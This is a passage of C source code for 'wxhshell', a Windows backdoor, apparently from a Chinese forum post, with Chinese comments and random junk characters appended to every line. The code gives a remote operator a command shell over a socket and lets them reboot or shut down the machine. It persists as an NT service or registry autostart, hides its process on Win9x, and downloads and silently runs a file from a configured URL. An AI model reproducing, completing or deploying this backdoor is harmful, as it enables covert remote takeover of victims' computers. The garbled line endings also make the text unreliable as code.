  } ,p3]`MG  
  else { X4 ] miUmh  
8{=|<  
    switch(cmd[0]) { O PzudO  
  4D2U,Ds  
  // 帮助 OX'V  
  case '?': { Y6&v&dA;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'YB[4Q /0  
    break; PJ; WNo8  
  } 6}m`_d?  
  // 安装 =^GPQ_"  
  case 'i': { z\oTuW*B  
    if(Install()) =}%#j0a4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "9r$*\wOf  
    else nShXY6bA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aoZ| @x  
    break; m5iCvOP  
    } M 9-Q  
  // 卸载 'iF%mnJ  
  case 'r': { f] #\&"  
    if(Uninstall()) @"` }%-b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \c<;!vkZ04  
    else zt: !hM/Vt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZT@=d$Z&t  
    break; ?IYu"UO<)|  
    } zzhZ1;\  
  // 显示 wxhshell 所在路径 E& .^|<n  
  case 'p': { -Uy)=]Zae  
    char svExeFile[MAX_PATH]; R;!@ xy  
    strcpy(svExeFile,"\n\r"); \H bZ~I-  
      strcat(svExeFile,ExeFile); U+qyS|i  
        send(wsh,svExeFile,strlen(svExeFile),0);  {ibu 0  
    break; McN[  
    } r}&&e BY f  
  // 重启 FJDC^@Ne  
  case 'b': { J{^md0l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Mib .,J~  
    if(Boot(REBOOT)) eM_;rMCr}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iAZ8Y/  
    else { !p/SX>NJ  
    closesocket(wsh); i_Hm?Bi!F  
    ExitThread(0); { PX&#,_  
    } m=sEB8P  
    break; {h|<qfH  
    } >({qgzV`  
  // 关机 {QM rgyQ E  
  case 'd': { EP#2it]0]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2=- .@,6  
    if(Boot(SHUTDOWN)) jhm/ <=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wv\K  
    else { 3!b $R?kZ  
    closesocket(wsh); 3s/1\m%  
    ExitThread(0); L4Zt4Yuw  
    } ~w3u(X$m"  
    break; mP&\?  
    } CdF;0A9.3  
  // 获取shell QZ l#^-on  
  case 's': { tO{{ci$-T  
    CmdShell(wsh); !h4T3sO  
    closesocket(wsh); : c~SH/qS  
    ExitThread(0); TL2E|@k1]  
    break; @>Yd6C  
  } y62f{ks_/  
  // 退出 s-#EV  
  case 'x': { c 9f"5~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r@3-vLI!u  
    CloseIt(wsh); }lIc{R@H  
    break; V*b/N  
    } Cu8mNB{H  
  // 离开 T4] 2R  
  case 'q': { ekvs3a^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B^/MwD>%  
    closesocket(wsh); #zTy7ZS,0  
    WSACleanup(); a*y9@RC}  
    exit(1); 86OrJdD8  
    break; U;#KFZ+~  
        } &Gjpc>d  
  } ?{qUn8f2  
  } `Y:]&w  
PP$sdmo  
  // 提示信息 (M$0'BV0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7. <jdp  
} a2B71RT~  
  } 4W" A*A  
\1!Q.V  
  return; ,gVVYH?qR  
} E`oA(x7l  
-`I|=lBz{H  
// shell模块句柄 MvpJ0Y (  
int CmdShell(SOCKET sock) RG{T\9]n  
{ 9s^$tgH  
STARTUPINFO si; QMBT8x/+_'  
ZeroMemory(&si,sizeof(si)); rNq* z,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KkZx6A)$u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M YF ^zheD  
PROCESS_INFORMATION ProcessInfo; /eQAGFG  
char cmdline[]="cmd"; p75o1RU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LZn'+{\`  
  return 0; aDdGhB  
} \Ip)Lm0  
W_2;j)i  
// 自身启动模式 oRCc8&  
int StartFromService(void) nZbI}kcm  
{  Y${'  
typedef struct {!|4JquE_  
{ 3[ [oAp  
  DWORD ExitStatus; 8X,6U_>#a  
  DWORD PebBaseAddress; ~pRgTXbz  
  DWORD AffinityMask; [Kwj 7q`  
  DWORD BasePriority; ~o!- [  
  ULONG UniqueProcessId; &YXJ{<s  
  ULONG InheritedFromUniqueProcessId; "tCTkog3]  
}   PROCESS_BASIC_INFORMATION; `MVqd16Y  
n{;Q"\*Sg  
PROCNTQSIP NtQueryInformationProcess; 0#8   
i\6CE|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DEZww9T2Qs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {nV/_o$$  
49; 'K  
  HANDLE             hProcess; 1Z}5ykM3  
  PROCESS_BASIC_INFORMATION pbi; .nD#:86M  
L[Vk6e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )$n%4 :  
  if(NULL == hInst ) return 0; /A7( `l;6  
r !Aj5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~</FF'Xz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,s~l; Gkj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5?-HQoT)G  
"ioO_  
  if (!NtQueryInformationProcess) return 0; wmr?ANk  
^Gk`n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zTg\\z;  
  if(!hProcess) return 0; XZIapT  
(!nkv^]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yNns6  
}YDi/b7  
  CloseHandle(hProcess); 5tlR rf  
1tNL)x"w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); % Ln`c.C  
if(hProcess==NULL) return 0; :.x(( FU  
"|8oFf)l@B  
HMODULE hMod;  aO&U=!  
char procName[255]; 5%Qxx\q  
unsigned long cbNeeded; L0g+RohW  
[KK |_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MLWHO$C~T  
N1~bp?$1  
  CloseHandle(hProcess); y&$n[j  
#|b*l/t8  
if(strstr(procName,"services")) return 1; // 以服务启动 wm`<+K  
Yj&Sb  
  return 0; // 注册表启动 e"04jd/  
} 9[.HWe,  
{ ptd OrN  
// 主模块 1b9S";ct0  
int StartWxhshell(LPSTR lpCmdLine) {zb'Z Yz  
{ cZh0\Dy U  
  SOCKET wsl; 6iU&9Z<%  
BOOL val=TRUE; z(\a JW  
  int port=0; [{7#IZL  
  struct sockaddr_in door;  _<S!tW  
st RM *.  
  if(wscfg.ws_autoins) Install(); !zE{`H a~  
Q VTL}AT2:  
port=atoi(lpCmdLine); |o5eG><  
[inlxJD  
if(port<=0) port=wscfg.ws_port; >-MnB  
WN'AQ~qA  
  WSADATA data; T)mQ+&|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g"P%sA/E+  
o'DtW#F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v+nXKNL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H~j@n!)  
  door.sin_family = AF_INET; jSem/;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o+1 (N#?m9  
  door.sin_port = htons(port); R:~aX,qR  
8 1Kf X {|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dtR"5TL<~}  
closesocket(wsl); ['mpxtG  
return 1; 8oX1 F(R  
} ]\M{Abqd{  
VIp|U{  
  if(listen(wsl,2) == INVALID_SOCKET) { 9mi@PW}1  
closesocket(wsl); ] U>MYdGWb  
return 1; |}G"^r  
} N1'`^ay$  
  Wxhshell(wsl); egq,)6>  
  WSACleanup(); w 0BphK[  
eft=k}  
return 0; pQa51nc  
xTAfV N  
} %%No XW  
eQ>Ur2H8n  
// 以NT服务方式启动 ^Hn}\5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'NtI bS  
{ `jE[Xt"@  
DWORD   status = 0; wo`.sB&T  
  DWORD   specificError = 0xfffffff; 8:TX9`,  
E22o-nI?1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |Rf j 0+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G+c&e:ip<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tYD8Y  
  serviceStatus.dwWin32ExitCode     = 0; ^OV; P[  
  serviceStatus.dwServiceSpecificExitCode = 0; P'<i3#;7X  
  serviceStatus.dwCheckPoint       = 0; 5sY $  
  serviceStatus.dwWaitHint       = 0; ]KFh 1  
[5P-K{Ko  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hY4#4A`I  
  if (hServiceStatusHandle==0) return; wC{sP"D  
H:(B^uH  
status = GetLastError(); M1Q&)am  
  if (status!=NO_ERROR) |P5dv>tb F  
{ Oa/^A-'Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +p\E%<uQ  
    serviceStatus.dwCheckPoint       = 0; Wg}KQ6 6  
    serviceStatus.dwWaitHint       = 0; >|SIqB<%:  
    serviceStatus.dwWin32ExitCode     = status; -m`|Sq  
    serviceStatus.dwServiceSpecificExitCode = specificError; Km5_P##  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gld~GyB\k  
    return; @)b'3~ D  
  } _A,_RM$Y  
( >}1t!1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \:m~ +o$<-  
  serviceStatus.dwCheckPoint       = 0; c^W;p2^  
  serviceStatus.dwWaitHint       = 0; q-z1ElrN7u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &y_t,8>5  
} ?\\wLZ  
8-G )lyfj  
// 处理NT服务事件,比如:启动、停止 Q6(~VvC-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y(,RJ&7  
{ 2O kID WcM  
switch(fdwControl) !~E/Rp  
{ IOFXkpK R  
case SERVICE_CONTROL_STOP: ]xvA2!) Q  
  serviceStatus.dwWin32ExitCode = 0; ci;2XLAM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mP^B2"|q  
  serviceStatus.dwCheckPoint   = 0; #eJfwc1JY  
  serviceStatus.dwWaitHint     = 0; goR_\b SU  
  { 6m&GN4Ca  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kQ=bd{a6  
  } 6/;YS[jX  
  return; +C`!4v\n  
case SERVICE_CONTROL_PAUSE: oywPPVxj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v/ry" W  
  break; 7@{%S~TN  
case SERVICE_CONTROL_CONTINUE: phDIUhL$z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DGJ:#U E  
  break; U.TZd"  
case SERVICE_CONTROL_INTERROGATE: f,ro1Nke  
  break; VESvCei  
}; xC< )]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q h@Q6  
} 7#)k-S!B  
QbdXt%gZe  
// 标准应用程序主函数 dg|+?M^9`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g+o$&'\  
{ rai'x/Ut}+  
qK'mF#n0#  
// 获取操作系统版本 s`x2Go  
OsIsNt=GetOsVer(); e,s  S.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #. Dl1L/  
e,OXngC  
  // 从命令行安装 r8(oTx  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3Y P! B=  
 C6gSj1  
  // 下载执行文件 OXLB{|hH80  
if(wscfg.ws_downexe) { 2]fTDKh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tM5(&cQ!d  
  WinExec(wscfg.ws_filenam,SW_HIDE); z 4}"oQk:r  
} 7O)ATb#up  
}6l:'nW  
if(!OsIsNt) { Xf;!w:u  
// 如果时win9x,隐藏进程并且设置为注册表启动 G:e=9qTf  
HideProc(); yl>^QMmo  
StartWxhshell(lpCmdLine); 3JD62wtx  
} 1 k!gR  
else "pt[Nm76)8  
  if(StartFromService()) ,q*|R O  
  // 以服务方式启动 \WE/#To  
  StartServiceCtrlDispatcher(DispatchTable); 0faf4LzU!  
else NL.3qx  
  // 普通方式启动 ok--Jyhv#  
  StartWxhshell(lpCmdLine); I 6WHC*  
;FlDRDZ%  
return 0; @IL@|Srs8  
}
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只看该作者 1 发表于: 2006-10-10
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